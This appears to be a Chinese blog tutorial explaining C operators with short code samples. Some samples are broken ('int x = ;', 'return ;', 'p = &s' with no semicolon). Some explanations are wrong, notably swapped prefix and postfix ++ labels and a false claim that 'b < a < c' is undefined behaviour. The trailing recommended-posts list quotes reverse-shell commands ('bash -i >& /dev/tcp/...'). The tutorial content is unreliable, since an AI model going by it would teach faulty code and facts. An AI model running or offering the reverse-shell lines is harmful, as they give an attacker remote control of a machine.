C语言操作符的分类:

   算术操作符  逻辑运算符  位操作符      赋值操作符

  单目操作符  关系操作符  条件操作符

  逗号表达式  数组下标引用  函数调用  结构体成员使用

大体上,C语言的操作符具体就这么些,俗话说的好,饭得一口一口吃,知识也得一点一点学习;

首先让我们来了解一下这些操作符的使用规则和注意事项(坑踩的多了自然就平了,错误出的多了自然就开始怀疑人生了(.//囍\\))

1.算术操作符

  算术和算数有什么区别呢?

  本质区别在于:算术是数学的一个分支,是数学的最初形式,而算数是动词,没有直接关系;如果把算术混淆为算数的话,可是给我们理工科的

闹了个大笑话了..

  进入正题,算术操作符有哪些:  +  -  *  /  %  ++  --

  加法运算符(+):是用来进行加法运算的,使其两侧的值相加;

  减法运算符(-):是用来进行减法运算的,使其两侧的值相减;

  乘法运算符(*):是用来进行乘法运算的,使其两侧的值相乘;

  除法运算符(/):是用来进行除法运算的,左侧的值是被除数,右侧的值是除数.

  求模运算符(%):只能用于整数运算不能用于浮点型,求模运算符给出其左侧整数除以右侧整数的余数;

  递增运算符(++):对运算对象进行+1操作;

  递减运算符( -- ):对运算对象进行-1操作;

//算术运算符
void Test_1() {
int a = 20;
int b = 10;
//加法运算
printf("a + b = %d\n",a + b);
//减法运算
printf("a - b = %d\n",a - b);
//乘法运算
printf("a * b = %d\n",a * b);
//除法运算
printf("a / b = %d\n",a / b);
//求模运算
printf("a %% b = %d\n",a % b);
}

  算术运算符使用注意事项和说明 :

    让我们先了解一下除法的运算规则:  被除数 / 除数 = 商 ......余数   *** 除数不能为0,否则无意义.

    1-两个实数的除法运算结果为一个双精度浮点数,两个整数的除法运算结果为一个整形数;如果输入

     ( 5 / 3 ) 结果 1;舍去小数部分.

    2-%求模运算符的操作数只能为整数,其他的操作数可以是任何的算术类型;

    (打印求模运算符%时,需要双%%来表示).

    3-关于++和--我会在后面的单目操作符进行解释说明;

2.逻辑运算符

  在C语言中,逻辑判断区分真假只有0和非0;

  非零的数字能够转换成真,也就是数字1;假就是0;

  1>分类:  &&  ||  !

    逻辑与 ( && ) :

      例如   a && b ;  如果 a 和 b 都为真,那么结果为真 ,否则为假;

    逻辑或( || )  :

      例如  a || b ;      如果a 和 b 都为假,那么结果就为假,否则为真;

    逻辑非(  !  )  :

      例如   !a ;     如果a为真,那么结果为假,反之,如果a为假,结果为真;

    如果你不熟悉运算符或者觉得很别扭,请记住 : (练习 && 时间)  == 完美;

  2>运算符说明: 

      逻辑与( && )和逻辑或( || )都是双目运算符,要求使用它有两个运算对象;

      逻辑非(  !  ) 是单目运算符,要求使用它有一个运算对象;

      求值顺序 :逻辑表达式的求值顺序是从左往右,一旦发现有使整个表达式为假的因素,就会立即停止求值;

3.位操作符

  分类:  &  |  ^  ~  >>  <<

  按位与 (  &  )  :  通常用于二进制的取位操作,

         例如一个数 and 1的结果就是取二进制的最末位,这样可以进行判断一个整数的奇偶,

         二进制的最末位为0,表示该数位偶数,最末位为1则为奇数;

  按位或 (  |  )  :   通常用于二进制特定位上的无条件赋值

         例如一个数or 1的结果就是把二进制最末位强行变成1。如果需要把二进制最末位变成0,对这个数按位或( | ) 1之后再减一就可以了,

         其实际意义就是把这个数强行变成最接近的偶数。

  按位异或 (  ^ )  : 按位异或运算, 对等长二进制模式按位或二进制数的每一位执行逻辑按位异或操作. 操作的结果是如果某位不同则该位为1, 否则该位为0.

  按位取反(  ~  ) : 就是把所有的二进制位,只要是1就变成0,0变成1;

  左移运算符(  <<  ) :  a << b,表示对a的二进制数左移b位;

    移位规则:  左边抛弃,右边补0;

  右移运算符(  >>  ) :

    右移运算分为两种:  1>逻辑移位  :  左边用0填充,右边抛弃;

               2>算术移位  :  左边用原该值的符号位填充,右边抛弃;

4.赋值运算符

  分类  :  =  +=  *=  /=  %=  >>=  <<=  &=  |=  ^=

      赋值运算符是把右侧表达式的值赋给左侧的变量.它们都用于更新变量,其用法都是

      左侧一个变量名,右侧一个表达式.赋给变量的值是由右侧表达式的值调整后的值.

     

 #include<stdio.h>
int main() {
// 以 += 为例,说明复合复制运算符的表达含义
// 同义理解 -=, *=,/=,%= 等赋值运算符
int x = ;
int y = ;
x += y; // x = x + y
return ;
}

  注意 和 说明 :

    1-注意'='和"=="的区别,很多人都在这里过问题.(重要的事情说很多遍);

    2-赋值运算符的优先级比算术运算符的优先级低;

    2-复制运算符是把右侧表达式的值赋给左侧的变量.它们都用于更新变量,其用法都是

     左侧一个变量名,右侧一个表达式,赋给变量的值是由右侧表达式的值调整之后的值决定.

    4.虽然这些运算符可以由几行简单的代码表示,并且运行效果一样,但是使用赋值运算符

     可以让代码看起来更紧凑,而且与一般代码相比,赋值运算符可以使生成的机器代码更高效

    5.在使用for循环加入一些复杂的表达式时,复制运算符就很好用.

5.单目操作符 

  !       逻辑取反操作

  -       负值

  +      正值

  &      取地址

  sizeof    操作符的类型长度(以字节为单位)

  (类型)    强制转换

  ++       前置++;  后置++

  --      前置--;   后置--

  1>+和-可以表示算术运算,也可以表示数字的符号,

  2>&取地址,在C语言中,创建变量时,系统内存会自动给变量分配一段存储空间,我们不能直接

   访问这些变量,因为我们不知道他们的存储地址,需要使用&来找到变量的房间号,进而访问

   所需要访问的变量;

  3>sizeof()  是一种内存容量度量函数,功能是返回一个变量或者类型的大小(以字节为单位);

       在 C 语言中,sizeof() 是一个判断数据类型或者表达式长度的运算符.

  4> (类型)强制转换  :  1-(类型说明符)表达式***其功能是将表达式的运算结果强制转换为括号内的

                类型说明符的类型;

             2-不管是强制转换还是自动转换都是为了本次运算的需要而进行临时的转换;

              不改变数据说明时对该变量定义的类型

void Test() {
int m = 1;
//m++
printf("%d\n",m++);
//重置m的值为1
m = 1;
//++m
printf("%d\n",++m);
}

自增运算符和自减运算符的前置后置区别:

  后置++i  :    在使用 i 之前先使 i 的值+1;

  前置i++  :    在使用 i 之后再使 i 的值+1;

  自减运算符同理.

6.关系运算符

  分类  :  >  >=  <  <=  ==  !=

  说明  :

    1-老生常谈:"=="和'='的区别,看起来啰嗦了一点,但是还是得说明一下;

    2-对于一些复杂的关系表达式:b < a < c

     不能直接表示,需要使用逻辑运算符:  a > b && a < c;

     为什么?未定义行为,C语言不支持.

7.条件运算符

 

//使用if-else判断两个数的较大值
if(a > b){
max = a;
}
else {
max = b;
}
//使用条件运算符" ? :"判断两个数的较大值
max = (a > b) ? a : b;

上面的两段代码都可以求出两个数的较大值,很明显,使用条件运算符的代码更简洁;

  条件运算符: ? :

  说明  :  条件运算符需要三个操作对象,每个操作对象都是一个表达式,通用形式为:

    exp1 ? exp2 : exp3;

    如果exp1为真,那么整个表达式的值为exp2,否则为exp3;

  如:  (5 > 3) ? 1 : 2;  值为1;

      (3 > 5) ? 1 : 2;  值为2;

      (a > b) ? a : b;  如果a > b,则取较大的值.

8.逗号运算符

  逗号运算符把两个表达式连接成一个表达式,并保证最左边的表达式最先求值.

逗号运算符通常在for循环头的表达式中用于包含更多的信息,整个逗号表达式的值

是逗号右侧表达式的值;

#include<stdio.h>

int main(){
int i = 0;
i = 1, i = 10;
printf("i = %d\n",i);
return 0;
}
输出结果为:
i = 10

9.数组下标引用

  [ ]变址运算符或者称为下标引用操作符

  操作形式:  数组名 + [索引值]

int arr[4] = {4,3,9,6};//注意索引值不能越界
printf("arr[3] = %d\n",arr[3]);
//[ ]的两个操作数就是arr(数组名)和3(索引值)

10.函数调用操作符

  接收一个或多个操作数:第一个操作数是函数名,剩余的操作数就是传递给函数的参数;

  

#include<stdio.h>
void Test(){
printf("Hello BKY!\n");
}
void Add(int x,int y){
printf("%d\n",x+y);
}
int main(){
//第一种是没有参数传递的,直接函数名+();
Test();
//第二中是传参的形式,函数名+(参数1,参数2);
Add(10,20);
return 0;
}

11.结构体成员使用

  访问一个结构体的成员有两种形式:

    1>  结构体.成员名;

    2>  结构体指针->成员名;

#define SIZE 100
struct Stu{
char num[SIZE];
char name[SIZE];
};
struct Stu Stu;
//使用结构体变量名引用成员
void Print_1() {
strcpy(Stu.num, "001");
strcpy(Stu.name, "飘雪");
printf("Stu.num = %s\n",Stu.num);
printf("Stu.name = %s\n",Stu.name);
}
struct Stu *p;
//使用结构体指针引用成员
void Print_2() {
p = &s
strcpy(p->num, "002");
strcpy(p->name, "无情");
printf("p->num = %s\n",p->num);
printf("p->name = %s\n",p->name);
}

C语言操作符的更多相关文章

  1. C语言操作符优先级

    C语言操作符优先级 优先级 运算符 含    义 要求运算 对象的个数 结合方向 1 () [] -> . 圆括号 下标运算符 指向结构体成员运算符 结构体成员运算符 自左至右 2 ! 逻辑非运 ...

  2. C语言操作符学习总结

    c语言中关于操作符部分的学习,可以主要分为两个部分:操作符和表达式. 这里首先是列举各种操作符,在C语言中,一般主要的操作符有这么几种:算数操作符,移位操作符,位操作符,赋值操作符,单目运算符,关系操 ...

  3. C语言-操作符与表达式

    C语言入门之操作符与表达式 前言 本篇文章主要包括各种操作符的介绍与表达式求值,欢迎各位小伙伴与我一起学习. 一.操作符 分类 算术操作符 移位操作符 位操作符 赋值操作符 单目运算符 关系操作符 逻 ...

  4. C语言操作符/表达式及其作用总结

    一.算术操作符:+ - * / % 1. 除了 %操作符之外,其他的 几个操作符可以作 用于整数和浮点数. 2. 对于"/"操作符如果两个操作数都为整数,执行整数除法.而只要有浮点 ...

  5. c语言操作符总结

    分类: 算术操作符 移位操作符 位操作符 赋值操作符 单目操作符 关系操作符 逻辑操作符 条件操作符 逗号表达式 其他操作符(下标引用.函数调用和结构成员) 一.算数操作符 1.算术操作符包括:+  ...

  6. 被C语言操作符优先级坑了

    今天有一个枚举的题目的代码是这样的: 重点在于maxXor这个函数的实现,枚举两个数字,其中maxr保存了最大值的 i 异或 j , 可是这个程序执行结果大大出乎意外-_-. 然后就把 i 异或 j ...

  7. C++ 语言操作符的优先级

    cppreference.com -> C++ 操作符优先级 C++ 操作符优先级        优先级     操作符 1 () [] -> .   ::         ! ~ ++ ...

  8. c语言操作符 “++”另类行为

    正常情况下,我们使用++ int a = 1; a++; printf(“%d”,a); // 2; 很简单没什么好说的. #include <stdio.h>   int main() ...

  9. 浅析C语言指针问题

    首先明白c语言操作符的优先级及结合性就很容易理解了. 链接 1.关于char *s 及 char s[] char *s指向的是一个字符串对象的指针,可以理解为间接引用,比如 char *s = “1 ...

随机推荐

  1. Linux 链路聚合

    Linux 链路聚合 链路聚合与双网卡绑定几乎相同,可以实现多网卡绑定主从荣誉,负载均衡,提高网络访问流量.但链路聚合与双网卡绑定技术(bond)不同点就在于,双网卡绑定只能使用两个网卡绑定,而链路聚 ...

  2. Django路由控制

    本文目录 一 Django中路由的作用 二 简单的路由配置 三 有名分组 四 路由分发 五 反向解析 六 名称空间 七 django2.0版的path 回到目录 一 Django中路由的作用 URL配 ...

  3. sqlite3出现SQLITE_BUSY错误码的原因以及解决方法

    转载:https://www.cnblogs.com/lijingcheng/p/4454884.html 转载:https://blog.csdn.net/venchia_lu/article/de ...

  4. MAVEN项目中include引入静态文件时报错找不到文件

    1. 出现的问题 Fragment "/common/jsp/resource.jsp" was not found at expected path /src/main/weba ...

  5. cf C题

    题意:矩阵只包含0,1两种数字,给你一个矩阵A,另一个矩阵B,每一次可以从A中选出一个子矩阵,点击一次使得这个子矩阵的四个角的数字变成与原来相反的数,0变1,1变0.问你可不可以经过有限次的变换把矩阵 ...

  6. Oracle使用——oracle11g安装——Oracle要求的结果: 5.0,5.1,5.2,6.0 6.1 之一 实际结果: 6.2

    问题 正在检查操作系统要求...        要求的结果: 5.0,5.1,5.2,6.0 之一        实际结果: 6.1        检查完成.此次检查的总体结果为: 失败 <&l ...

  7. 工作中常用的 Linux 命令

    awk 示例: env变量值如下,需要获得pkg_url的链接值: {"name": "michael", "sex": "mal ...

  8. 反弹shell以及端口转发的方法收集

    Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...

  9. 比原链(Bytom)先知节点 Ubuntu接入文档

    系统要求 我们建议选择知名的VPS服务商,运行比原链节点对算力没有要求,但是请配置尽可能大的磁盘空间. 节点服务器最小配置: 操作系统: Windows/Linux/Docker CPU: 2核 内存 ...

  10. js基础语句

    // for 循环语句 // if else 条件判断语句 // switch 条件循环语句 // while // do while // 这里的 i 是循环变量 一般初始值为0,因为下标从0开始 ...